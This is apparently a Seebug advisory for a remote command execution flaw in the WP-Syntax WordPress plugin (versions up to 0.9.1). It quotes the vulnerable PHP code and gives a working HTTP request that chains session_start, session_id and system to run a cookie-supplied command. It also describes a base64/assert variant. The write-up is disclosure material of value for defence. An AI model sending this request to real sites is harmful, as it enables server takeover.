Wordpress Plugin WP-Syntax <= 0.9.1 Remote Command Execution

ID SSV:12147
Type seebug
Reporter Root
Modified 2009-08-28T00:00:00


No description provided by source.

Wordpress plugin WP-Syntax <= 0.9.1 Remote Code Execution
This vulnerability was originally discovered by Raz0r on
26.12.2008, a user of forum.antichat.ru, and was kept private
until it was found out that information had leaked and
a person called Inj3ct0r published it on milw0rm
claiming himself as the author of this vulnerability. His
actions deserve no respect and thanks to str0ke a little bit
of justice is obtained. See original topic at:
WP-Syntax has a directly accessible script that tests
capabilities of the plugin.
Vulnerable code at test/index.php@132-150:

function apply_filters($tag, $string)
    global $test_filter;

    if (!isset($test_filter[$tag])) return $string;

    uksort($test_filter[$tag], "strnatcasecmp");

    foreach ($test_filter[$tag] as $priority => $functions)
        if (is_null($functions)) continue;

        foreach($functions as $function)
            $string = call_user_func_array($function, array($string));
    return $string;

Global variable test_filter is not defined, so register_globals = on
makes it possible to pass arbitrary value into the first parameter of
call_user_func_array(). Considering the fact that this function is
called in a loop and the returned value is assinged to the second parameter
on every iteration, it is obvious that user function can be called with
a single parameter containing arbitrary data that can come from the
environment, e.g. session id. There are several valid sequences of function
calls that let execute any code.

GET /wp-content/plugins/wp-syntax/test/index.php?test_filter[wp_head][99][0]=session_start&test_filter[wp_head][99][1]=session_id&test_filter[wp_head][99][2]=system HTTP/1.0
Host: localhost
Cookie: PHPSESSID=dir
Connection: close

Initially session_start() is called, then the return value of session_id() that
contains command to execute passes to system().


This vector was found by ShAnKaR and improves the previous one by using
base64-encoded payload that broadens the char range that can be passed
to the next function. Besides, assert() successfully executes arbitrary
code being called in call_user_func_array() while the usage of eval() in
this function is not possible.

forum.antichat.ru, raz0r.name